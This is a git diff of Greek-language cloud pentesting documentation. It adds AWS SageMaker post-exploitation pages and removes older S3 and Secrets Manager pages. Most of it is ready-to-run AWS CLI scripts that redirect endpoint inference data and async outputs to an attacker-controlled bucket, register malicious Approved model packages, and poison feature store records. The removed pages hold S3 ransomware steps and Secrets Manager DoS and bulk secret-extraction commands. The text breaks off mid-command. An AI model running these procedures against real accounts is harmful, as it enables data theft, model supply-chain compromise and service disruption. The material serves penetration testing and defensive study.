a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md deleted file mode 100644 index de3382070..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ /dev/null @@ -1,38 +0,0 @@ -# AWS - S3 Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-s3-athena-and-glacier-enum.md -{{#endref}} - -### Ευαίσθητες Πληροφορίες - -Μερικές φορές θα μπορείτε να βρείτε ευαίσθητες πληροφορίες σε αναγνώσιμες μορφές στους κάδους. Για παράδειγμα, μυστικά κατάστασης terraform. - -### Pivoting - -Διαφορετικές πλατφόρμες θα μπορούσαν να χρησιμοποιούν το S3 για να αποθηκεύουν ευαίσθητα περιουσιακά στοιχεία.\ -Για παράδειγμα, το **airflow** θα μπορούσε να αποθηκεύει τον **κώδικα DAGs** εκεί, ή οι **ιστοσελίδες** θα μπορούσαν να σερβίρονται απευθείας από το S3. Ένας επιτιθέμενος με δικαιώματα εγγραφής θα μπορούσε να **τροποποιήσει τον κώδικα** από τον κάδο για να **pivot** σε άλλες πλατφόρμες, ή να **καταλάβει λογαριασμούς** τροποποιώντας αρχεία JS. - -### S3 Ransomware - -Σε αυτό το σενάριο, ο **επιτιθέμενος δημιουργεί ένα κλειδί KMS (Key Management Service) στον δικό του λογαριασμό AWS** ή σε έναν άλλο παραβιασμένο λογαριασμό. Στη συνέχεια, καθιστά αυτό το **κλειδί προσβάσιμο σε οποιονδήποτε στον κόσμο**, επιτρέποντας σε οποιονδήποτε χρήστη, ρόλο ή λογαριασμό AWS να κρυπτογραφήσει αντικείμενα χρησιμοποιώντας αυτό το κλειδί. Ωστόσο, τα αντικείμενα δεν μπορούν να αποκρυπτογραφηθούν. - -Ο επιτιθέμενος εντοπίζει έναν στόχο **S3 κάδο και αποκτά πρόσβαση επιπέδου εγγραφής** σε αυτόν χρησιμοποιώντας διάφορες μεθόδους. Αυτό θα μπορούσε να οφείλεται σε κακή διαμόρφωση του κάδου που τον εκθέτει δημόσια ή ο επιτιθέμενος αποκτά πρόσβαση στο περιβάλλον AWS. Ο επιτιθέμενος συνήθως στοχεύει κάδους που περιέχουν ευαίσθητες πληροφορίες όπως προσωπικά αναγνωρίσιμες πληροφορίες (PII), προστατευμένες πληροφορίες υγείας (PHI), αρχεία καταγραφής, αντίγραφα ασφαλείας και άλλα. - -Για να προσδιορίσει αν ο κάδος μπορεί να στοχοποιηθεί για ransomware, ο επιτιθέμενος ελέγχει τη διαμόρφωσή του. Αυτό περιλαμβάνει την επαλήθευση αν είναι ενεργοποιημένο το **S3 Object Versioning** και αν είναι ενεργοποιημένο το **multi-factor authentication delete (MFA delete)**. Εάν το Object Versioning δεν είναι ενεργοποιημένο, ο επιτιθέμενος μπορεί να προχωρήσει. Εάν το Object Versioning είναι ενεργοποιημένο αλλά το MFA delete είναι απενεργοποιημένο, ο επιτιθέμενος μπορεί να **απενεργοποιήσει το Object Versioning**. Εάν και τα δύο, Object Versioning και MFA delete είναι ενεργοποιημένα, γίνεται πιο δύσκολο για τον επιτιθέμενο να ransomware αυτόν τον συγκεκριμένο κάδο. - -Χρησιμοποιώντας το AWS API, ο επιτιθέμενος **αντικαθιστά κάθε αντικείμενο στον κάδο με μια κρυπτογραφημένη αντίγραφο χρησιμοποιώντας το KMS κλειδί του**. Αυτό κρυπτογραφεί αποτελεσματικά τα δεδομένα στον κάδο, καθιστώντας τα μη προσβάσιμα χωρίς το κλειδί. - -Για να προσθέσει περαιτέρω πίεση, ο επιτιθέμενος προγραμματίζει τη διαγραφή του KMS κλειδιού που χρησιμοποιήθηκε στην επίθεση. Αυτό δίνει στον στόχο ένα παράθυρο 7 ημερών για να ανακτήσει τα δεδομένα του πριν το κλειδί διαγραφεί και τα δεδομένα γίνουν μόνιμα χαμένα. - -Τέλος, ο επιτιθέμενος θα μπορούσε να ανεβάσει ένα τελικό αρχείο, συνήθως ονομαζόμενο "ransom-note.txt," το οποίο περιέχει οδηγίες για τον στόχο σχετικά με το πώς να ανακτήσει τα αρχεία του. Αυτό το αρχείο ανεβαίνει χωρίς κρυπτογράφηση, πιθανώς για να τραβήξει την προσοχή του στόχου και να τον ενημερώσει για την επίθεση ransomware. - -**Για περισσότερες πληροφορίες** [**ελέγξτε την αρχική έρευνα**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md new file mode 100644 index 000000000..ea171a879 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -0,0 +1,38 @@ +# AWS - S3 Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-s3-athena-and-glacier-enum.md +{{#endref}} + +### Ευαίσθητες Πληροφορίες + +Μερικές φορές θα μπορέσετε να βρείτε ευαίσθητες πληροφορίες που είναι αναγνώσιμες μέσα στα buckets. Για παράδειγμα, terraform state secrets. + +### Pivoting + +Διάφορες πλατφόρμες μπορεί να χρησιμοποιούν το S3 για την αποθήκευση ευαίσθητων πόρων.\ +Για παράδειγμα, **airflow** μπορεί να αποθηκεύει εκεί **DAGs** **code**, ή **ιστοσελίδες** να σερβίρονται απευθείας από S3. Ένας attacker με δικαιώματα εγγραφής θα μπορούσε να **modify the code** από το bucket για να **pivot** σε άλλες πλατφόρμες, ή να **takeover accounts** τροποποιώντας JS αρχεία. + +### S3 Ransomware + +Σε αυτό το σενάριο, ο **attacker δημιουργεί ένα KMS (Key Management Service) key στον δικό του AWS account** ή σε έναν άλλο compromised account. Στη συνέχεια κάνει αυτό το **key προσβάσιμο σε οποιονδήποτε στον κόσμο**, επιτρέποντας σε οποιονδήποτε AWS user, role, ή account να κρυπτογραφήσει αντικείμενα χρησιμοποιώντας αυτό το key. Ωστόσο, τα αντικείμενα δεν μπορούν να αποκρυπτογραφηθούν. + +Ο attacker εντοπίζει έναν στοχευμένο **S3 bucket και αποκτά write-level access** σε αυτόν χρησιμοποιώντας διάφορες μεθόδους. Αυτό μπορεί να οφείλεται σε κακή ρύθμιση του bucket που το εκθέτει δημόσια ή στο ότι ο attacker αποκτά πρόσβαση στο AWS περιβάλλον καθεαυτό. Συνήθως ο attacker στοχεύει buckets που περιέχουν ευαίσθητες πληροφορίες όπως personally identifiable information (PII), protected health information (PHI), logs, backups, κ.ά. + +Για να προσδιορίσει αν ένα bucket μπορεί να στοχευτεί για ransomware, ο attacker ελέγχει τη διαμόρφωσή του. Αυτό περιλαμβάνει τον έλεγχο αν είναι ενεργοποιημένο το **S3 Object Versioning** και αν είναι ενεργοποιημένο το **multi-factor authentication delete (MFA delete)**. Αν το Object Versioning δεν είναι ενεργοποιημένο, ο attacker μπορεί να προχωρήσει. Αν το Object Versioning είναι ενεργό αλλά το MFA delete είναι απενεργοποιημένο, ο attacker μπορεί να **disable Object Versioning**. Αν και το Object Versioning και το MFA delete είναι ενεργά, γίνεται πιο δύσκολο για τον attacker να εφαρμόσει ransomware σε αυτό το συγκεκριμένο bucket. + +Χρησιμοποιώντας το AWS API, ο attacker **αντικαθιστά κάθε αντικείμενο στο bucket με ένα κρυπτογραφημένο αντίγραφο χρησιμοποιώντας το KMS key του**. Αυτό ουσιαστικά κρυπτογραφεί τα δεδομένα στο bucket, καθιστώντας τα μη προσβάσιμα χωρίς το key. + +Για να ασκήσει επιπλέον πίεση, ο attacker προγραμματίζει τη διαγραφή του KMS key που χρησιμοποιήθηκε στην επίθεση. Αυτό δίνει στο θύμα ένα παράθυρο 7 ημερών για να ανακτήσει τα δεδομένα του πριν διαγραφεί το key και τα δεδομένα χαθούν οριστικά. + +Τέλος, ο attacker μπορεί να ανεβάσει ένα τελικό αρχείο, συνήθως με όνομα "ransom-note.txt", το οποίο περιέχει οδηγίες για το θύμα σχετικά με το πώς να ανακτήσει τα αρχεία του. Αυτό το αρχείο ανεβαίνει χωρίς κρυπτογράφηση, πιθανώς για να τραβήξει την προσοχή του θύματος και να το ενημερώσει για την επίθεση ransomware. + +**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md new file mode 100644 index 000000000..bd3c1b644 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md @@ -0,0 +1,179 @@ +# AWS - SageMaker Post-Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SageMaker endpoint data siphon μέσω UpdateEndpoint DataCaptureConfig + +Κατάχρηση της διαχείρισης SageMaker endpoint για να ενεργοποιηθεί πλήρης καταγραφή αιτημάτων/απαντήσεων σε S3 bucket που ελέγχεται από τον επιτιθέμενο χωρίς να πειραχτεί το model ή το container. Χρησιμοποιεί ένα zero/low‑downtime rolling update και απαιτεί μόνο δικαιώματα διαχείρισης endpoint. + +### Απαιτήσεις +- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` +- S3: `s3:CreateBucket` (ή χρησιμοποιήστε υπάρχον bucket στον ίδιο λογαριασμό) +- Προαιρετικό (αν χρησιμοποιείτε SSE‑KMS): `kms:Encrypt` στο επιλεγμένο CMK +- Στόχος: Ένα υπάρχον InService real‑time endpoint στον ίδιο λογαριασμό/περιοχή + +### Βήματα +1) Εντοπίστε ένα InService endpoint και συλλέξτε τα τρέχοντα production variants +```bash +REGION=${REGION:-us-east-1} +EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text) +echo "Endpoint=$EP" +CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) +echo "EndpointConfig=$CFG" +aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json +``` +2) Προετοιμάστε τον προορισμό S3 του attacker για captures +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-capture-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION +``` +3) Δημιουργήστε ένα νέο EndpointConfig που διατηρεί τα ίδια variants αλλά ενεργοποιεί το DataCapture στο attacker bucket + +Σημείωση: Χρησιμοποιήστε ρητούς τύπους περιεχομένου που ικανοποιούν την επικύρωση του CLI. +```bash +NEWCFG=${CFG}-dc +cat > /tmp/dc.json << JSON +{ +"EnableCapture": true, +"InitialSamplingPercentage": 100, +"DestinationS3Uri": "s3://$BUCKET/capture", +"CaptureOptions": [ +{"CaptureMode": "Input"}, +{"CaptureMode": "Output"} +], +"CaptureContentTypeHeader": { +"JsonContentTypes": ["application/json"], +"CsvContentTypes": ["text/csv"] +} +} +JSON +aws sagemaker create-endpoint-config \ +--region $REGION \ +--endpoint-config-name "$NEWCFG" \ +--production-variants file:///tmp/pv.json \ +--data-capture-config file:///tmp/dc.json +``` +4) Εφαρμόστε τη νέα διαμόρφωση με rolling update (ελάχιστη/καθόλου διακοπή λειτουργίας) +```bash +aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" +aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" +``` +5) Δημιούργησε τουλάχιστον μία κλήση inference (προαιρετικό εάν υπάρχει ζωντανή κίνηση) +```bash +echo '{"inputs":[1,2,3]}' > /tmp/payload.json +aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \ +--content-type application/json --accept application/json \ +--body fileb:///tmp/payload.json /tmp/out.bin || true +``` +6) Επαληθεύστε τις καταγραφές στο S3 του attacker +```bash +aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize +``` +### Επιπτώσεις +- Πλήρης exfiltration των real‑time inference request και response payloads (και metadata) από το στοχευμένο endpoint σε έναν S3 bucket ελεγχόμενο από τον επιτιθέμενο. +- Χωρίς αλλαγές στην εικόνα model/container και μόνο αλλαγές σε επίπεδο endpoint, επιτρέποντας μια διακριτική διαδρομή κλοπής δεδομένων με ελάχιστη λειτουργική διαταραχή. + + +## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig + +Κακοποίηση της διαχείρισης endpoint για την ανακατεύθυνση των asynchronous inference outputs σε έναν S3 bucket ελεγχόμενο από τον επιτιθέμενο, κλωνοποιώντας την τρέχουσα EndpointConfig και ρυθμίζοντας το AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Αυτό exfiltrates τις προβλέψεις του model (και οποιεσδήποτε μετασχηματισμένες εισόδους που περιλαμβάνονται από το container) χωρίς να τροποποιείται το model/container. + +### Απαιτήσεις +- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` +- S3: Δυνατότητα εγγραφής στον attacker S3 bucket (μέσω του model execution role ή μιας permissive bucket policy) +- Στόχος: Ένα InService endpoint όπου asynchronous invocations χρησιμοποιούνται (ή θα χρησιμοποιηθούν) + +### Βήματα +1) Συλλέξτε τα τρέχοντα ProductionVariants από το στοχευόμενο endpoint +```bash +REGION=${REGION:-us-east-1} +EP= +CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) +aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json +``` +2) Δημιουργήστε έναν attacker bucket (βεβαιωθείτε ότι το model execution role μπορεί να κάνει PutObject σε αυτόν) +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-async-exfil-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION || true +``` +3) Κλωνοποίηση του EndpointConfig και hijack των αποτελεσμάτων του AsyncInference στο attacker bucket +```bash +NEWCFG=${CUR_CFG}-async-exfil +cat > /tmp/async_cfg.json << JSON +{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}} +JSON +aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json +aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" +aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" +``` +4) Προκαλέστε μια async invocation και επαληθεύστε ότι τα αντικείμενα καταλήγουν στο S3 του επιτιθέμενου +```bash +aws s3 cp /etc/hosts s3://$BUCKET/inp.bin +aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true +sleep 30 +aws s3 ls s3://$BUCKET/async-out/ --recursive || true +aws s3 ls s3://$BUCKET/async-fail/ --recursive || true +``` +### Επίπτωση +- Ανακατευθύνει τα αποτελέσματα ασύγχρονης inference (και τα σώματα σφαλμάτων) σε S3 που ελέγχεται από τον επιτιθέμενο, επιτρέποντας covert exfiltration των predictions και ενδεχομένως ευαίσθητων προ-/μετα-επεξεργασμένων εισόδων που παράγονται από το container, χωρίς αλλαγή του model code ή του image και με ελάχιστο/καθόλου downtime. + + +## SageMaker Model Registry supply-chain injection μέσω CreateModelPackage(Approved) + +Εάν ένας επιτιθέμενος μπορεί να εκτελέσει CreateModelPackage σε ένα στοχευμένο SageMaker Model Package Group, μπορεί να καταχωρήσει μια νέα έκδοση μοντέλου που δείχνει σε attacker-controlled container image και να τη σημάνει αμέσως ως Approved. Πολλά CI/CD pipelines αναπτύσσουν αυτόματα Approved model versions σε endpoints ή training jobs, με αποτέλεσμα εκτέλεση κώδικα του επιτιθέμενου υπό τα execution roles της υπηρεσίας. Η έκθεση μεταξύ λογαριασμών μπορεί να ενισχυθεί από μια permissive ModelPackageGroup resource policy. + +### Requirements +- IAM (ελάχιστα δικαιώματα για να μολυνθεί μια υπάρχουσα group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup +- Optional (για να δημιουργηθεί μια group εάν δεν υπάρχει): `sagemaker:CreateModelPackageGroup` +- S3: Read access to referenced ModelDataUrl (or host attacker-controlled artifacts) +- Target: A Model Package Group that downstream automation watches for Approved versions + +### Steps +1) Set region and create/find a target Model Package Group +```bash +REGION=${REGION:-us-east-1} +MPG=victim-group-$(date +%s) +aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group" +``` +2) Προετοιμάστε ψεύτικα δεδομένα μοντέλου στο S3 +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-mpkg-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION +head -c 1024 /tmp/model.tar.gz +aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION +``` +3) Εγγραφή ενός malicious (here benign) Approved model package version που αναφέρεται σε δημόσια AWS DLC image +```bash +IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3" +cat > /tmp/inf.json << JSON +{ +"Containers": [ +{ +"Image": "$IMG", +"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz" +} +], +"SupportedContentTypes": ["text/csv"], +"SupportedResponseMIMETypes": ["text/csv"] +} +JSON +aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json +``` +4) Επιβεβαιώστε ότι η νέα εγκεκριμένη έκδοση υπάρχει +```bash +aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table +``` +### Επιπτώσεις +- Poison the Model Registry με μια Approved έκδοση που αναφέρεται σε κώδικα ελεγχόμενο από τον επιτιθέμενο. Οι Pipelines που αυτοματοποιούν την ανάπτυξη Approved models μπορεί να τραβήξουν και να εκτελέσουν το attacker image, οδηγώντας σε εκτέλεση κώδικα με δικαιώματα endpoint/training roles. +- Με μια επιεική πολιτική πόρου ModelPackageGroup (PutModelPackageGroupPolicy), αυτή η κατάχρηση μπορεί να ενεργοποιηθεί cross-account. + +## Feature store poisoning + +Κακοποιήστε το `sagemaker:PutRecord` σε ένα Feature Group με ενεργοποιημένο το OnlineStore για να αντικαταστήσετε ζωντανές τιμές features που καταναλώνονται από online inference. Σε συνδυασμό με το `sagemaker:GetRecord`, ο επιτιθέμενος μπορεί να διαβάσει ευαίσθητα features. Αυτό δεν απαιτεί πρόσβαση σε models ή endpoints. + +{{#ref}} +feature-store-poisoning.md +{{/ref}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md new file mode 100644 index 000000000..521dcb001 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -0,0 +1,50 @@ +# SageMaker Feature Store online store poisoning + +Κακοποιήστε το `sagemaker:PutRecord` σε ένα Feature Group με ενεργοποιημένο OnlineStore για να αντικαταστήσετε ζωντανές τιμές χαρακτηριστικών που καταναλώνονται από online inference. Σε συνδυασμό με το `sagemaker:GetRecord`, ένας επιτιθέμενος μπορεί να διαβάσει ευαίσθητα χαρακτηριστικά. Αυτό δεν απαιτεί πρόσβαση σε models ή endpoints. + +## Requirements +- Δικαιώματα: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` +- Στόχος: Feature Group με ενεργοποιημένο OnlineStore (συνήθως υποστηρίζει real-time inference) + +## Steps +1) Επιλέξτε ή δημιουργήστε ένα μικρό Online Feature Group για δοκιμές +```bash +REGION=${REGION:-us-east-1} +FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text) +if [ -z "$FG" -o "$FG" = "None" ]; then +ACC=$(aws sts get-caller-identity --query Account --output text) +FG=ht-fg-$ACC-$(date +%s) +ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole) +aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN" +echo "Waiting for feature group to be in Created state..." +for i in $(seq 1 40); do +ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true) +echo $ST; [ "$ST" = "Created" ] && break; sleep 15 +done +fi +``` +2) Εισαγωγή/αντικατάσταση μιας online εγγραφής (poison) +```bash +NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) +cat > /tmp/put.json << JSON +{ +"FeatureGroupName": "$FG", +"Record": [ +{"FeatureName": "entity_id", "ValueAsString": "user-123"}, +{"FeatureName": "event_time", "ValueAsString": "$NOW"}, +{"FeatureName": "risk_score", "ValueAsString": "0.99"} +], +"TargetStores": ["OnlineStore"] +} +JSON +aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json +``` +3) Διάβασε ξανά την εγγραφή για να επιβεβαιώσεις την τροποποίηση +```bash +aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString" +``` +Αναμενόμενο: risk_score επιστρέφει 0.99 (attacker-set), αποδεικνύοντας την ικανότητα αλλαγής των online χαρακτηριστικών που χρησιμοποιούνται από μοντέλα. + +## Impact +- Real-time integrity attack: παραποίηση των χαρακτηριστικών που χρησιμοποιούνται από μοντέλα παραγωγής χωρίς να επηρεαστούν τα endpoints/μοντέλα. +- Confidentiality risk: ανάγνωση ευαίσθητων χαρακτηριστικών μέσω GetRecord από το OnlineStore. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md deleted file mode 100644 index a3190285c..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ /dev/null @@ -1,130 +0,0 @@ -# AWS - Secrets Manager Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Secrets Manager - -Για περισσότερες πληροφορίες δείτε: - -{{#ref}} -../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### Read Secrets - -Τα **secrets καθεαυτά είναι ευαίσθητες πληροφορίες**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) για να μάθετε πώς να τα διαβάσετε. - -### DoS Change Secret Value - -Η αλλαγή της τιμής του secret μπορεί να **DoS όλα τα συστήματα που εξαρτώνται από αυτή την τιμή.** - -> [!WARNING] -> Σημειώστε ότι οι προηγούμενες τιμές αποθηκεύονται επίσης, οπότε είναι εύκολο απλά να επιστρέψετε στην προηγούμενη τιμή. -```bash -# Requires permission secretsmanager:PutSecretValue -aws secretsmanager put-secret-value \ ---secret-id MyTestSecret \ ---secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" -``` -### DoS Change KMS key - -Εάν ο attacker έχει την άδεια secretsmanager:UpdateSecret, μπορεί να διαμορφώσει το secret ώστε να χρησιμοποιεί ένα KMS key που ανήκει στον attacker. Αυτό το key αρχικά έχει ρυθμιστεί με τέτοιο τρόπο ώστε ο οποιοσδήποτε να μπορεί να το προσπελάσει και να το χρησιμοποιήσει, οπότε η ενημέρωση του secret με το νέο key είναι δυνατή. Εάν το key δεν ήταν προσβάσιμο, το secret δεν θα μπορούσε να ενημερωθεί. - -Μετά την αλλαγή του key για το secret, ο attacker τροποποιεί τη διαμόρφωση του key του έτσι ώστε μόνο εκείνος να έχει πρόσβαση. Με αυτόν τον τρόπο, στις επόμενες εκδόσεις του secret θα κρυπτογραφηθεί με το νέο key, και αφού δεν υπάρχει πρόσβαση σε αυτό, η δυνατότητα ανάκτησης του secret θα χαθεί. - -Είναι σημαντικό να σημειωθεί ότι αυτή η μη προσβασιμότητα θα συμβεί μόνο σε μεταγενέστερες εκδόσεις, αφού αλλάξει το περιεχόμενο του secret, καθώς η τρέχουσα έκδοση εξακολουθεί να είναι κρυπτογραφημένη με το αρχικό KMS key. -```bash -aws secretsmanager update-secret \ ---secret-id MyTestSecret \ ---kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE -``` -### DoS Διαγραφή μυστικού - -Ο ελάχιστος αριθμός ημερών για να διαγραφεί ένα μυστικό είναι 7 -```bash -aws secretsmanager delete-secret \ ---secret-id MyTestSecret \ ---recovery-window-in-days 7 -``` -## secretsmanager:RestoreSecret - -Είναι δυνατόν να επαναφέρετε ένα secret, κάτι που επιτρέπει την επαναφορά secrets που έχουν προγραμματιστεί για διαγραφή, καθώς η ελάχιστη περίοδος διαγραφής για secrets είναι 7 ημέρες και η μέγιστη είναι 30 ημέρες. Σε συνδυασμό με την άδεια secretsmanager:GetSecretValue, αυτό καθιστά δυνατή την ανάκτηση του περιεχομένου τους. - -Για να ανακτήσετε ένα secret που βρίσκεται σε διαδικασία διαγραφής, μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή: -```bash -aws secretsmanager restore-secret \ ---secret-id -``` -## secretsmanager:DeleteResourcePolicy - -Αυτή η ενέργεια επιτρέπει τη διαγραφή της πολιτικής πόρου που ελέγχει ποιος μπορεί να αποκτήσει πρόσβαση σε ένα secret. Αυτό μπορεί να οδηγήσει σε DoS εάν η πολιτική πόρου είχε διαμορφωθεί ώστε να επιτρέπει πρόσβαση σε ένα συγκεκριμένο σύνολο χρηστών. - -Για να διαγράψετε την πολιτική πόρου: -```bash -aws secretsmanager delete-resource-policy \ ---secret-id -``` -## secretsmanager:UpdateSecretVersionStage - -Οι καταστάσεις ενός μυστικού χρησιμοποιούνται για τη διαχείριση των εκδόσεων ενός μυστικού. AWSCURRENT σηματοδοτεί την ενεργή έκδοση που χρησιμοποιούν οι εφαρμογές, AWSPREVIOUS διατηρεί την προηγούμενη έκδοση ώστε να μπορείτε να κάνετε επαναφορά αν χρειαστεί, και AWSPENDING χρησιμοποιείται στη διαδικασία rotation για να προετοιμάσει και να επικυρώσει μια νέα έκδοση πριν την καταστήσει την τρέχουσα. - -Οι εφαρμογές διαβάζουν πάντα την έκδοση με AWSCURRENT. Αν κάποιος μετακινήσει αυτή την ετικέτα σε λάθος έκδοση, οι εφαρμογές θα χρησιμοποιήσουν άκυρα credentials και μπορεί να αποτύχουν. - -AWSPREVIOUS δεν χρησιμοποιείται αυτόματα. Ωστόσο, αν το AWSCURRENT αφαιρεθεί ή ανατεθεί λανθασμένα, μπορεί να φαίνεται ότι όλα εξακολουθούν να τρέχουν με την προηγούμενη έκδοση. -```bash -aws secretsmanager update-secret-version-stage \ ---secret-id \ ---version-stage AWSCURRENT \ ---move-to-version-id \ ---remove-from-version-id -``` -{{#include ../../../banners/hacktricks-training.md}} - - - - - -### Μαζική Εξαγωγή Secrets μέσω BatchGetSecretValue (έως 20 ανά κλήση) - -Κατάχρηση του Secrets Manager BatchGetSecretValue API για να ανακτήσεις έως 20 secrets σε ένα αίτημα. Αυτό μπορεί να μειώσει δραματικά τον όγκο κλήσεων API σε σύγκριση με την επανάληψη του GetSecretValue για κάθε secret. Εάν χρησιμοποιούνται φίλτρα (tags/name), απαιτείται επίσης η άδεια ListSecrets. Το CloudTrail εξακολουθεί να καταγράφει ένα event GetSecretValue για κάθε secret που ανακτάται στο batch. - -Απαιτούμενα δικαιώματα -- secretsmanager:BatchGetSecretValue -- secretsmanager:GetSecretValue για κάθε στοχευμένο secret -- secretsmanager:ListSecrets εάν χρησιμοποιείτε --filters -- kms:Decrypt στα CMKs που χρησιμοποιούνται από τα secrets (αν δεν χρησιμοποιείται aws/secretsmanager) - -> [!WARNING] -> Σημειώστε ότι η άδεια `secretsmanager:BatchGetSecretValue` από μόνη της δεν επαρκεί για την ανάκτηση των secrets — χρειάζεστε επίσης `secretsmanager:GetSecretValue` για κάθε secret που θέλετε να ανακτήσετε. - -Εξαγωγή μέσω ρητής λίστας -```bash -aws secretsmanager batch-get-secret-value \ ---secret-id-list \ ---query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}' -``` -Exfiltrate με φίλτρα (tag key/value ή name prefix) -```bash -# By tag key -aws secretsmanager batch-get-secret-value \ ---filters Key=tag-key,Values=env \ ---max-results 20 \ ---query 'SecretValues[].{Name:Name,Val:SecretString}' - -# By tag value -aws secretsmanager batch-get-secret-value \ ---filters Key=tag-value,Values=prod \ ---max-results 20 - -# By name prefix -aws secretsmanager batch-get-secret-value \ ---filters 